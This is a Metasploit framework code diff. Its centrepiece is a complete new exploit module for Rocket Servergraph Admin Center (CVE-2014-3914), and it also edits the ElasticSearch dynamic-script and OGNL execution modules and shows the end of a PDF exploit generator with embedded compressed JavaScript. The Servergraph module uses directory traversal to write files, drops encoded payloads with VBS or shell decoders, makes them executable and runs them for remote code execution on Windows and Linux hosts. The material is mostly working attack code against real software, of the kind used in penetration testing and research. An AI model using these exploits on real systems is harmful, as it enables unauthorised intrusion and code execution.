xCXGdcdNxHPic+OH479OcEpQJexNmEkMSmxOPJ5ESEpJ2pB0Q2onlUt3S2eSQ5KXJZ9OoadkpwynfJPqmapPPZYGpyWnbUy7vdB1oXbheDpIl6ZvTL+TIcioyfhDJjEzI3Mk8y9ZoqyWrLPZ3Ozi7D3ZT3Nic/pybuW65xpzT+Yx84ryduc9y4/L78+fXOS7aNmi8wXWBeqCI4WkwrzCnYWzi+MXb1o8XRRU1FV0fYlgScOSc0utl1Yt/aSYWSwrPlRCKMkv2VPygyxdNiqbLZWWvlc6I5fIN8sfKqIVA4oHyghlv/JeWURZf9l9VYRqo+pBeVT5YPkjtUQ9rP62Iqlie8WzyvTKDyt/rMqvOqAha0o0R7UcbaX2dLV9dUP1JZ2Xrks3WRNWs6lmRp+i31kL1S6pPWLg4T9TF4zuxpXGqbrIupG65/V59Yca2A3ahguNno1rGu81JTT9phltljefbHFsaW+ZWhazbEcr1FraerLNua2zbXp54vJd7dT2yvY/dfh19Hd8vyJ/xbFOu87lnXdXJq7c22XWpe+6sSp81fbV6Gr16ok1AWu2rHndrej+osevZ7Dnh1557xdrRWuH1v64rmzdRF9w37b1xPXa9dc3RG3Y1c/ub+q/uzFt4+EBbKB74PtNxZvODQYObt9M3WzcPDmU+k8ApAFb/pi4mSSZkJn8mmia1ZtCm6+cHJyJnPedZJ3SnkCerp8dn4uf+qBpoNihR6G2oiailqMGo3aj5qRWpMelOKWpphqmi6b9p26n4KhSqMSpN6mpqhyqj6sCq3Wr6axcrNCtRK24ri2uoa8Wr4uwALB1sOqxYLHWskuywrM4s660JbSctRO1irYBtnm28Ldot+C4WbjRuUq5wro7urW7LrunvCG8m70VvY++Db6Evv+/er/1wHDA7MFnwePCX8Lbw1jD1MRRxM7FS8XIxkbGw8dBx7/IPci8yTrJuco4yrfLNsu2zDXMtc01zbXONs62zzfPuNA50LrRPNG+0j/SwdNE08bUSdTL1U7V0dZV1tjXXNfg2GTY6Nls2fHadtr724DcBdyK3RDdlt4c3qLfKd+v4DbgveFE4cziU+Lb42Pj6+Rz5PzlhOYN5pbnH+ep6DLovOlG6dDqW+rl63Dr++yG7RHtnO4o7rTvQO/M8Fjw5fFy8f/yjPMZ86f0NPTC9VD13vZt9vv3ivgZ+Kj5OPnH+lf65/t3/Af8mP0p/br+S/7c/23//wIMAPeE8/sNZW5kc3RyZWFtDWHSVyg=")
add_compressed(38, "eJxNjbEOgjAYhJ+Ad/hHWPgplIoJaVIwaGIwRGsciAtYCFGLQx18e1vi4HDDXe6+8/IcBdAEIjiiaKw7QEqc4xw3wsedKmYgMcjBhmOAFVCsJBZGYzUAS9OEYb23u2LbkjCCn65YCr98TP0dnipA2QCxwAZitjwdVW/ayFajkBGasQwYIWGSUVitY7c+vTvzeSm8TLdRGZR+Z/SCqx3t/I92NaH1bDj3vvt1NZc=")
add_compressed(43, "eJzjtbHR9wpWMDFTMFAI0g/W90osSwxOLsosKLGz4wUAaC0Hzw==")
add_compressed(51, "eJxNjtEKgkAQRb9g/mG/wHHRTEF8kPCpyDIoEB/UJivQrXUF+/t2Y4seLnPhzj1ciGNMUzGXruMyo4Bzxwt9tozMXVSYCdkfXg9iHNc0dOrKAh83tZK3ueS2ZPTnK9zTKCbZ0qjxuRRtQarEfJVVSYLF1CjN+4DRkPG0be7UqiQZlaS6B8460CC7xQu/YziTBBd46gfOAjeyYRj9wiMMsAMazpb0BnLmPE4=")
js = Zlib::Deflate.deflate(js)
add_object(46, "\x0d<</Filter[/FlateDecode]/Length #{js.length}>>stream\x0d#{js}\x0dendstream\x0d")
add_compressed(8, "eJzjtbHRd84vzStRMNR3yywqLlGwVDBQCNL3SYQzAxKLUoHy5mBOSGZJTqqGT35yYo6CS2ZxtqadHS8AmCkTkg==")
add_compressed(9, "eJzjtbHRd0ktLok2MlMwUAjSj4iMAtLmlkYKeaU5ObH6AYlFqXklChZgyWBXBUNTMCsksyQnVePff4YshmIGPYYShgqGEk07O14AWScVgw==")
add_compressed(17, "eJzjtbHR90vMTS2ONjZVMFAIUjAyAFGxdna8AF4CBlg=")
add_compressed(18, "eJzjtbHR90vMTS2ONrRUMFAIUjAyAFGxdna8AF4gBlo=")
add_compressed(19, "eJzj1UjLzEm10tfXd67RL0nNLdDPKtYrqSjR5AUAaRoIEQ==")
add_compressed(20, "eJzjtbHRdw7RKEmtKNEvyEnMzNPU93RRMDZVMFAI0vePNjIDMWL1g/WDA4DYU8HIECwTovHvP0MWQzGDHkMJQwVDiaZ+SLCGi5WRgaGJgbGxoaGhsampUZSmnR0vAOIUGEU=")
add_compressed(21, "eJzjtbHRdwxVMLRUMFAI0g8J1nCxMjIwNDEwNjY0NDQ2NTWK0rSz4wUAmbEH3g==")
add_compressed(39, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HXKz0nRd81Lzk/JzEtXMDFVMFAI0vdLzE0FqnHK1w8uTSqpLEjVDwEShmBSH2SAnR0vACeXGlQ=")
add_compressed(47, "eJzjtbHRd0osTnXLzyvR90jNKUstyUxO1HfNS85PycxLVzAxVTBQCNL3S8xNBUvrB5cmlVQWpOqHAAlDMKkP0mtnxwsAqd8Y1w==")
add_compressed(48, "eJzjtbHRd0osTnXLzyvRj0osSHPJzEtPSiwp1vdLzE0Firgk6QeXJpVUFqTqhwAJQzCpD1JuZ8cLAJhsFTA=")
add_compressed(45, "eJxNk81u2zAMx5+g75AnGJe0yFKgKGB0PgQYlsOaQzfswEi0LUSWUn1ky55+tJiovkQm+f+RFMXcPT3BV9N1FMgpir9WD3AIdCZQGLwDZYLKY2fpL2ifUClyCYbsegx5tJgT+N47OkIwrodkrKbF/SO8Z58ossvS4nENfcAzLZarDRyytZRAY99TuB76YIGsNadoItCoMQ5Arhyd9ZwYuoAqGW6nz8aWtJa69GEF0w8JRuNyhBOFNPgc0Wlpg9MfMFI1CnozhCzWh3/mLOkLngJqGjEcoTPcF3yLdupw18IPGdWbNjzE6Q4/xcEDsxSjAStSTxAl8q8ci+X6M7Q5eP54AJXD9AQXNtb8BP5I7oCBrQ3UxMqfLtKcD7ojvrBxPNcvK7C+Nwqt8wk+8Y+mDgL1JvJlSMOIqjREfSCCk81RZpX++Jh5YMYHSAPHqoUqJ4IxL5abeyg+PT19yaZIG2sR+N2rnvsZMapsS0ObzRR8zxiYmD4HtJ1UuDrjYvm4gqYsBjRSrZktW1NWCZp69aYsWNPCy618K3ArcDuD20ptRbMVzXam2VZNmwb4LuV2It+JfDeT766CSo3ZJnOyF9jJ4+4F3Qu6n6H7yrxJ8HXwgVeZwsg7erARUFiUMM5YlLJYU2AZA/Lf8zYGEpgEphlMlTKiMaIxM42pGuIxOCnnRe5F7mdyfxVUSpuzmRwyhCxgFjDPwFyJiwRTGcLl5v4Nr5cTv6JTnNv1z893/wElCbzZ")
add_compressed(23, "eJxNzLEKgzAQgOEn8B2ymVCqd4npUEQQXQsdCp0Tc4Ol9Ep6Qh+/gg7d/+8v2rYeMgWZ+TUGIT2eLWADziE65z0ewJYApdkqzrpPHEn1U+YYRCFWYOoLp3/sV2yxsacj+A1fM6dlolXv7k5RDeEtS6b9cZvlSfrxqeQrpuuKH+VYK70=")
@xref_offset = @pdf.length
@pdf << xref_table << trailer(25) << startxref
@pdf
end
end

View File

@ -139,4 +139,4 @@ class Metasploit3 < Msf::Exploit::Remote
handler(conn.lsock)
end
end
end
end

View File

@ -15,10 +15,10 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'ElasticSearch Dynamic Script Arbitrary Java Execution',
'Description' => %q{
This module exploits a remote command execution vulnerability in ElasticSearch,
This module exploits a remote command execution (RCE) vulnerability in ElasticSearch,
exploitable by default on ElasticSearch prior to 1.2.0. The bug is found in the
REST API, which requires no authentication or authorization, where the search
function allows dynamic scripts execution, and can be used for remote attackers
REST API, which does not require authentication, where the search
function allows dynamic scripts execution. It can be used for remote attackers
to execute arbitrary Java code. This module has been tested successfully on
ElasticSearch 1.1.1 on Ubuntu Server 12.04 and Windows XP SP3.
},
@ -65,29 +65,30 @@ class Metasploit3 < Msf::Exploit::Remote
end
def exploit
print_status("#{peer} - Trying to execute arbitrary Java..")
print_status("#{peer} - Trying to execute arbitrary Java...")
unless vulnerable?
fail_with(Failure::Unknown, "#{peer} - Java has not been executed, aborting...")
end
print_status("#{peer} - Asking remote OS...")
print_status("#{peer} - Discovering remote OS...")
res = execute(java_os)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get remote OS...")
fail_with(Failure::Unknown, "#{peer} - Could not identify remote OS...")
else
print_good("#{peer} - OS #{result} found")
# TODO: It'd be nice to report_host() with this info.
print_good("#{peer} - Remote OS is '#{result}'")
end
jar_file = ""
if result =~ /win/i
print_status("#{peer} - Asking TEMP path")
print_status("#{peer} - Discovering TEMP path")
res = execute(java_tmp_dir)
result = parse_result(res)
if result.nil?
fail_with(Failure::Unknown, "#{peer} - Could not get TEMP path...")
fail_with(Failure::Unknown, "#{peer} - Could not identify TEMP path...")
else
print_good("#{peer} - TEMP path found on #{result}")
print_good("#{peer} - TEMP path identified: '#{result}'")
end
jar_file = "#{result}#{rand_text_alpha(3 + rand(4))}.jar"
else

View File

@ -97,4 +97,4 @@ class Metasploit3 < Msf::Exploit::Remote
handler
end
end
end

View File

@ -0,0 +1,348 @@
##
# This module requires Metasploit: http//metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::FileDropper
include Msf::Exploit::EXE
def initialize(info = {})
super(update_info(info,
'Name' => 'Rocket Servergraph Admin Center fileRequestor Remote Code Execution',
'Description' => %q{
This module abuses several directory traversal flaws in Rocket Servergraph Admin
Center for Tivoli Storage Manager. The issues exist in the fileRequestor servlet,
allowing a remote attacker to write arbitrary files and execute commands with
administrative privileges. This module has been tested successfully on Rocket
ServerGraph 1.2 over Windows 2008 R2 64 bits, Windows 7 SP1 32 bits and Ubuntu
12.04 64 bits.
},
'Author' =>
[
'rgod <rgod[at]autistici.org>', # Vulnerability discovery
'juan vazquez' # Metasploit module
],
'License' => MSF_LICENSE,
'References' =>
[
['CVE', '2014-3914'],
['ZDI', '14-161'],
['ZDI', '14-162'],
['BID', '67779']
],
'Privileged' => true,
'Platform' => %w{ linux unix win },
'Arch' => [ARCH_X86, ARCH_X86_64, ARCH_CMD],
'Payload' =>
{
'Space' => 8192, # it's writing a file, so just a long enough value
'DisableNops' => true
#'BadChars' => (0x80..0xff).to_a.pack("C*") # Doesn't apply
},
'Targets' =>
[
[ 'Linux (Native Payload)',
{
'Platform' => 'linux',
'Arch' => ARCH_X86
}
],
[ 'Linux (CMD Payload)',
{
'Platform' => 'unix',
'Arch' => ARCH_CMD
}
],
[ 'Windows / VB Script',
{
'Platform' => 'win',
'Arch' => ARCH_X86
}
],
[ 'Windows CMD',
{
'Platform' => 'win',
'Arch' => ARCH_CMD
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 30 2013'))
register_options(
[
Opt::RPORT(8888)
], self.class)
register_advanced_options(
[
OptInt.new('TRAVERSAL_DEPTH', [ true, 'Traversal depth to hit the root folder', 20]),
OptString.new("WINDIR", [ true, 'The Windows Directory name', 'WINDOWS' ]),
OptString.new("TEMP_DIR", [ false, 'A directory where we can write files' ])
], self.class)
end
def check
os = get_os
if os.nil?
return Exploit::CheckCode::Safe
end
Exploit::CheckCode::Appears
end
def exploit
os = get_os
if os == 'win' && target.name =~ /Linux/
fail_with(Failure::BadConfig, "#{peer} - Windows system detected, but Linux target selected")
elsif os == 'linux' && target.name =~ /Windows/
fail_with(Failure::BadConfig, "#{peer} - Linux system detected, but Windows target selected")
elsif os.nil?
print_warning("#{peer} - Failed to detect remote operating system, trying anyway...")
end
if target.name =~ /Windows.*VB/
exploit_windows_vbs
elsif target.name =~ /Windows.*CMD/
exploit_windows_cmd
elsif target.name =~ /Linux.*CMD/
exploit_linux_cmd
elsif target.name =~ /Linux.*Native/
exploit_linux_native
end
end
def exploit_windows_vbs
traversal = "\\.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('win')
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.vbs"
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
exe_file_name = "#{rand_text_alpha(4 + rand(3))}.exe"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
vbs = generate_decoder_vbs({
:temp_dir => "C:#{temp}",
:encoded_file_name => encoded_file_name,
:exe_file_name => exe_file_name
})
print_status("#{peer} - Dropping the VBS decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", vbs)
register_files_for_cleanup("C:#{temp}#{decoder_file_name}")
register_files_for_cleanup("C:#{temp}#{encoded_file_name}")
register_files_for_cleanup("C:#{temp}#{exe_file_name}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}\\#{win_dir}\\System32\\cscript //nologo C:#{temp}#{decoder_file_name}")
end
def exploit_windows_cmd
traversal = "\\.." * traversal_depth
execute("#{traversal}\\#{win_dir}\\System32\\cmd.exe /B /C #{payload.encoded}")
end
def exploit_linux_native
traversal = "/.." * traversal_depth
payload_base64 = Rex::Text.encode_base64(generate_payload_exe)
temp = temp_dir('linux')
encoded_file_name = "#{rand_text_alpha(4 + rand(3))}.b64"
decoder_file_name = "#{rand_text_alpha(4 + rand(3))}.sh"
elf_file_name = "#{rand_text_alpha(4 + rand(3))}.elf"
print_status("#{peer} - Dropping the encoded payload to filesystem...")
write_file("#{traversal}#{temp}#{encoded_file_name}", payload_base64)
decoder = <<-SH
#!/bin/sh
base64 --decode #{temp}#{encoded_file_name} > #{temp}#{elf_file_name}
chmod 777 #{temp}#{elf_file_name}
#{temp}#{elf_file_name}
SH
print_status("#{peer} - Dropping the decoder to filesystem...")
write_file("#{traversal}#{temp}#{decoder_file_name}", decoder)
register_files_for_cleanup("#{temp}#{decoder_file_name}")
register_files_for_cleanup("#{temp}#{encoded_file_name}")
register_files_for_cleanup("#{temp}#{elf_file_name}")
print_status("#{peer} - Giving execution permissions to the decoder...")
execute("#{traversal}/bin/chmod 777 #{temp}#{decoder_file_name}")
print_status("#{peer} - Executing decoder and payload...")
execute("#{traversal}/bin/sh #{temp}#{decoder_file_name}")
end
def exploit_linux_cmd
temp = temp_dir('linux')
elf = rand_text_alpha(4 + rand(4))
traversal = "/.." * traversal_depth
print_status("#{peer} - Dropping payload...")
write_file("#{traversal}#{temp}#{elf}", payload.encoded)
register_files_for_cleanup("#{temp}#{elf}")
print_status("#{peer} - Providing execution permissions...")
execute("#{traversal}/bin/chmod 777 #{temp}#{elf}")
print_status("#{peer} - Executing payload...")
execute("#{traversal}#{temp}#{elf}")
end
def generate_decoder_vbs(opts = {})
decoder_path = File.join(Msf::Config.data_directory, "exploits", "cmdstager", "vbs_b64")
f = File.new(decoder_path, "rb")
decoder = f.read(f.stat.size)
f.close
decoder.gsub!(/>>decode_stub/, "")
decoder.gsub!(/^echo /, "")
decoder.gsub!(/ENCODED/, "#{opts[:temp_dir]}#{opts[:encoded_file_name]}")
decoder.gsub!(/DECODED/, "#{opts[:temp_dir]}#{opts[:exe_file_name]}")
decoder
end
def get_os
os = nil
path = ""
hint = rand_text_alpha(3 + rand(4))
res = send_request(20, "writeDataFile", rand_text_alpha(4 + rand(10)), "/#{hint}/#{hint}")
if res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\/#{hint}\/#{hint} \(No such file or directory\)/
path = $1
elsif res && res.code == 200 && res.body =~ /java.io.FileNotFoundException: (.*)\\#{hint}\\#{hint} \(The system cannot find the path specified\)/
path = $1
end
if path =~ /^\//
os = 'linux'
elsif path =~ /^[a-zA-Z]:\\/
os = 'win'
end
os
end
def temp_dir(os)
temp = ""
case os
when 'linux'
temp = linux_temp_dir
when 'win'
temp = win_temp_dir
end
temp
end
def linux_temp_dir
dir = "/tmp/"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
unless dir.start_with?("/")
dir = "/#{dir}"
end
unless dir.end_with?("/")
dir = "#{dir}/"
end
dir
end
def win_temp_dir
dir = "\\#{win_dir}\\Temp\\"
if datastore['TEMP_DIR'] && !datastore['TEMP_DIR'].empty?
dir = datastore['TEMP_DIR']
end
dir.gsub!(/\//, "\\")
dir.gsub!(/^([A-Za-z]:)?/, "")
unless dir.start_with?("\\")
dir = "\\#{dir}"
end
unless dir.end_with?("\\")
dir = "#{dir}\\"
end
dir
end
def win_dir
dir = "WINDOWS"
if datastore['WINDIR']
dir = datastore['WINDIR']
dir.gsub!(/\//, "\\")
dir.gsub!(/[\\]*$/, "")
dir.gsub!(/^([A-Za-z]:)?[\\]*/, "")
end
dir
end
def traversal_depth
depth = 20
if datastore['TRAVERSAL_DEPTH'] && datastore['TRAVERSAL_DEPTH'] > 1
depth = datastore['TRAVERSAL_DEPTH']
end
depth
end
def write_file(file_name, contents)
res = send_request(20, "writeDataFile", Rex::Text.uri_encode(contents), file_name)
unless res && res.code == 200 && res.body.to_s =~ /Data successfully writen to file: /
fail_with(Failure::Unknown, "#{peer} - Failed to write file... aborting")
end
res
end
def execute(command)
res = send_request(1, "run", command)
res
end
def send_request(timeout, command, query, source = rand_text_alpha(rand(4) + 4))
data = "&invoker=#{rand_text_alpha(rand(4) + 4)}"
data << "&title=#{rand_text_alpha(rand(4) + 4)}"
data << "&params=#{rand_text_alpha(rand(4) + 4)}"
data << "&id=#{rand_text_alpha(rand(4) + 4)}"
data << "&cmd=#{command}"
data << "&source=#{source}"
data << "&query=#{query}"
res = send_request_cgi(
{
'uri' => normalize_uri('/', 'SGPAdmin', 'fileRequest'),
'method' => 'POST',
'data' => data
}, timeout)
res
end
end

View File

@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote
['Windows Universal',
{
'Arch' => ARCH_X86,
'Platform' => 'windows'
'Platform' => 'win'
}
],
['Linux Universal',
@ -140,7 +140,7 @@ class Metasploit3 < Msf::Exploit::Remote
exec_cmd << "#c=#cl.loadClass('metasploit.Payload'),"
exec_cmd << "#c.getMethod('main',new java.lang.Class[]{@java.lang.Class@forName('[Ljava.lang.String;')}).invoke("
exec_cmd << "null,new java.lang.Object[]{new java.lang.String[0]})"
when 'windows'
when 'win'
path = temp_path || './'
payload_exe = "#{path}#{payload_exe}.exe"
exec_cmd = "@java.lang.Runtime@getRuntime().exec('#{payload_exe}')"

Some files were not shown because too many files have changed in this diff Show More